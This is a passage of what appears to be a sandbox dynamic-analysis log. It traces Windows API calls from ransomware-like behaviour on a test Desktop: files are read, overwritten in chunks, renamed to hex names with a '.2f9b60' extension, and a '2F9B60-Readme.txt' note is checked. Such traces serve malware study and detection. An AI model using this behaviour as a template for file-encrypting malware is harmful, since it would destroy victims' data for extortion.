HALPmcxz\\Desktop\\WaBA5Za0Mj1wDVytkD6.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\waba5za0mj1wdvytkd6.odt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f8 [0099.011] GetFileSizeEx (in: hFile=0x14f8, lpFileSize=0x22e9fb20 | out: lpFileSize=0x22e9fb20*=96073) returned 1 [0099.011] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x17745, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.011] ReadFile (in: hFile=0x14f8, lpBuffer=0x22e9faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22e9fae8, lpOverlapped=0x0 | out: lpBuffer=0x22e9faa0*, lpNumberOfBytesRead=0x22e9fae8*=0x4, lpOverlapped=0x0) returned 1 [0099.012] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614f0 [0099.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261580 [0099.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615b0 [0099.013] NtQuerySystemTime (in: CurrentTime=0x22e9f9e0 | out: CurrentTime=0x22e9f9e0*=132462177045274000) returned 0x0 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x74f37200 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0xebf6b82 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x7c688077 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x39fbeec8 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x68f3db36 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x27d4fc7c [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0xb0039d5 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x438e3401 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x6660b2e1 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x3d8a9e3c [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x13e7c815 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x79f1689c [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x4f69f9b [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x5f96c001 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x41c4d24 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x67f53847 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x40a6f754 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x71be947f [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x677a3d1d [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x639d4fe6 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x31256fa7 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x4dd1a0d [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x4d336be3 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x2a0b62e1 [0099.013] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x55886aa0 [0099.014] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x1703000f [0099.014] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x16069dbf [0099.014] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x3f5d27eb [0099.014] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0xfb247fe [0099.014] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x1c31052e [0099.014] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x56ab1abc [0099.014] RtlRandomEx (in: Seed=0x22e9f9d0 | out: Seed=0x22e9f9d0) returned 0x55c32940 [0099.022] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.022] ReadFile (in: hFile=0x14f8, lpBuffer=0x1cd660d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22e9fa40, lpOverlapped=0x0 | out: lpBuffer=0x1cd660d0*, lpNumberOfBytesRead=0x22e9fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0099.022] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0099.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0099.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614f0 [0099.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202614f0) returned 1 [0099.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd69ce0 [0099.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614f0 [0099.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615b0 [0099.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615b0) returned 1 [0099.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0099.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0099.023] WriteFile (in: hFile=0x14f8, lpBuffer=0x1cd69ce0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22e9fa40, lpOverlapped=0x0 | out: lpBuffer=0x1cd69ce0*, lpNumberOfBytesWritten=0x22e9fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd69ce0) returned 1 [0100.540] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.540] ReadFile (in: hFile=0x14f8, lpBuffer=0x1cd660d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22e9fa40, lpOverlapped=0x0 | out: lpBuffer=0x1cd660d0*, lpNumberOfBytesRead=0x22e9fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.540] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0100.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0100.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0100.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263da0) returned 1 [0100.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd69ce0 [0100.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0100.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0100.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0100.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0100.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0100.541] WriteFile (in: hFile=0x14f8, lpBuffer=0x1cd69ce0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22e9fa40, lpOverlapped=0x0 | out: lpBuffer=0x1cd69ce0*, lpNumberOfBytesWritten=0x22e9fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd69ce0) returned 1 [0100.545] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x13b49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.545] ReadFile (in: hFile=0x14f8, lpBuffer=0x1cd660d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22e9fa40, lpOverlapped=0x0 | out: lpBuffer=0x1cd660d0*, lpNumberOfBytesRead=0x22e9fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.545] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x13b49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0100.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0100.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0100.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e00) returned 1 [0100.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd69ce0 [0100.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0100.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e30 [0100.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e30) returned 1 [0100.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0100.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0100.546] WriteFile (in: hFile=0x14f8, lpBuffer=0x1cd69ce0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22e9fa40, lpOverlapped=0x0 | out: lpBuffer=0x1cd69ce0*, lpNumberOfBytesWritten=0x22e9fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd69ce0) returned 1 [0100.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864680 [0100.928] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.928] WriteFile (in: hFile=0x14f8, lpBuffer=0x1ced66c0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x22e9faf0, lpOverlapped=0x0 | out: lpBuffer=0x1ced66c0*, lpNumberOfBytesWritten=0x22e9faf0*=0x160, lpOverlapped=0x0) returned 1 [0102.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0102.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0102.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0102.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f70) returned 1 [0102.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f5b0 [0102.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0102.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0102.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fd0) returned 1 [0102.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0102.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0102.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b863b20 [0102.028] sprintf (in: _Dest=0x1b863b20, _Format="%c%c" | out: _Dest="d6") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b22, _Format="%c%c" | out: _Dest="30") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b24, _Format="%c%c" | out: _Dest="a7") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b26, _Format="%c%c" | out: _Dest="29") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b28, _Format="%c%c" | out: _Dest="cf") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b2a, _Format="%c%c" | out: _Dest="91") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b2c, _Format="%c%c" | out: _Dest="73") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b2e, _Format="%c%c" | out: _Dest="b6") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b30, _Format="%c%c" | out: _Dest="f5") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b32, _Format="%c%c" | out: _Dest="4f") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b34, _Format="%c%c" | out: _Dest="13") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b36, _Format="%c%c" | out: _Dest="f7") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b38, _Format="%c%c" | out: _Dest="92") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b3a, _Format="%c%c" | out: _Dest="a9") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b3c, _Format="%c%c" | out: _Dest="e3") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b3e, _Format="%c%c" | out: _Dest="25") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b40, _Format="%c%c" | out: _Dest="13") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b42, _Format="%c%c" | out: _Dest="4a") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b44, _Format="%c%c" | out: _Dest="98") returned 2 [0102.028] sprintf (in: _Dest=0x1b863b46, _Format="%c%c" | out: _Dest="0d") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b48, _Format="%c%c" | out: _Dest="21") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b4a, _Format="%c%c" | out: _Dest="f4") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b4c, _Format="%c%c" | out: _Dest="69") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b4e, _Format="%c%c" | out: _Dest="f3") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b50, _Format="%c%c" | out: _Dest="ca") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b52, _Format="%c%c" | out: _Dest="5f") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b54, _Format="%c%c" | out: _Dest="82") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b56, _Format="%c%c" | out: _Dest="0e") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b58, _Format="%c%c" | out: _Dest="a6") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b5a, _Format="%c%c" | out: _Dest="ac") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b5c, _Format="%c%c" | out: _Dest="46") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b5e, _Format="%c%c" | out: _Dest="1b") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b60, _Format="%c%c" | out: _Dest="fb") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b62, _Format="%c%c" | out: _Dest="af") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b64, _Format="%c%c" | out: _Dest="d7") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b66, _Format="%c%c" | out: _Dest="66") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b68, _Format="%c%c" | out: _Dest="32") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b6a, _Format="%c%c" | out: _Dest="ce") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b6c, _Format="%c%c" | out: _Dest="86") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b6e, _Format="%c%c" | out: _Dest="51") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b70, _Format="%c%c" | out: _Dest="f8") returned 2 [0102.029] sprintf (in: _Dest=0x1b863b72, _Format="%c%c" | out: _Dest="0b") returned 2 [0102.030] sprintf (in: _Dest=0x1b863b74, _Format="%c%c" | out: _Dest="6b") returned 2 [0102.030] sprintf (in: _Dest=0x1b863b76, _Format="%c%c" | out: _Dest="49") returned 2 [0102.030] sprintf (in: _Dest=0x1b863b78, _Format="%c%c" | out: _Dest="ee") returned 2 [0102.030] sprintf (in: _Dest=0x1b863b7a, _Format="%c%c" | out: _Dest="50") returned 2 [0102.030] RtlInitAnsiString (in: DestinationString=0x22e9fb68, SourceString="d630a729cf9173b6f54f13f792a9e325134a980d21f469f3ca5f820ea6ac461bfbafd76632ce8651f80b6b49ee50" | out: DestinationString="d630a729cf9173b6f54f13f792a9e325134a980d21f469f3ca5f820ea6ac461bfbafd76632ce8651f80b6b49ee50") [0102.030] RtlAnsiStringToUnicodeString (in: DestinationString=0x22e9fb38, SourceString="d630a729cf9173b6f54f13f792a9e325134a980d21f469f3ca5f820ea6ac461bfbafd76632ce8651f80b6b49ee50", AllocateDestinationString=1 | out: DestinationString="d630a729cf9173b6f54f13f792a9e325134a980d21f469f3ca5f820ea6ac461bfbafd76632ce8651f80b6b49ee50") returned 0x0 [0102.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119720 [0102.030] wcscat (in: _Dest=0x4205c470, _Source="d630a729cf9173b6f54f13f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d630a729cf9173b6f54f13f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d630a729cf9173b6f54f13f" [0102.030] wcscat (in: _Dest=0x4205c470, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d630a729cf9173b6f54f13f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d630a729cf9173b6f54f13f.2f9b60" [0102.030] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d630a729cf9173b6f54f13f.2f9b60", NtPathName=0x22e9fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d630a729cf9173b6f54f13f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bcc0 [0109.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bcc0) returned 1 [0109.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b320) returned 1 [0109.007] NtQueryInformationFile (in: FileHandle=0x14f8, IoStatusBlock=0x22e9fb78, FileInformation=0x22e9fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22e9fb78, FileInformation=0x22e9fb88) returned 0x0 [0109.007] NtSetInformationFile (FileHandle=0x14f8, IoStatusBlock=0x22e9fb78, FileInformation=0x22e9fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c470) returned 1 [0109.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0109.023] FlushFileBuffers (hFile=0x14f8) returned 1 [0109.029] CloseHandle (hObject=0x14f8) returned 1 [0109.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b867140 [0109.042] wcscpy (in: _Dest=0x1b867140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.042] wcscat (in: _Dest=0x1b867140, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.042] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867140) returned 1 [0109.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784130) returned 1 Thread: id = 799 os_tid = 0x1360 [0099.031] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XhFX9S.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xhfx9s.m4a")) returned 0x20 [0099.032] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XhFX9S.m4a", dwFileAttributes=0x20) returned 1 [0099.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XhFX9S.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xhfx9s.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14fc [0099.032] GetFileSizeEx (in: hFile=0x14fc, lpFileSize=0x1e44fae0 | out: lpFileSize=0x1e44fae0*=92074) returned 1 [0099.032] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x167a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.032] ReadFile (in: hFile=0x14fc, lpBuffer=0x1e44fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e44faa8, lpOverlapped=0x0 | out: lpBuffer=0x1e44fa60*, lpNumberOfBytesRead=0x1e44faa8*=0x4, lpOverlapped=0x0) returned 1 [0099.033] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615b0 [0099.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0099.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0099.033] NtQuerySystemTime (in: CurrentTime=0x1e44f9a0 | out: CurrentTime=0x1e44f9a0*=132462177045586000) returned 0x0 [0099.033] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x1ffb36d4 [0099.033] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x7e2a2a4a [0099.033] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x605fa9ef [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x19feb7d9 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x7a7a2f5f [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x6239c2f2 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x4258b695 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x58ec9a36 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x126269c3 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x626ec9cb [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x78471937 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x33d1a596 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x48f57781 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x2f0c2473 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0xc6e6675 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x17f04ab2 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x56e5c70 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x50e90d42 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x7a8b0360 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x2109067e [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x6b422825 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x2e06526e [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x10163182 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x7832c167 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x6af6b906 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0xc6208fe [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x211b5de6 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x62da39ae [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x7ff9d5ea [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x2d5d8ae3 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x7b99619 [0099.034] RtlRandomEx (in: Seed=0x1e44f990 | out: Seed=0x1e44f990) returned 0x141a8def [0099.044] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.045] ReadFile (in: hFile=0x14fc, lpBuffer=0x1cd6d8f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e44fa00, lpOverlapped=0x0 | out: lpBuffer=0x1cd6d8f0*, lpNumberOfBytesRead=0x1e44fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0099.045] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0099.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0099.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615b0 [0099.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615b0) returned 1 [0099.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd71500 [0099.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615b0 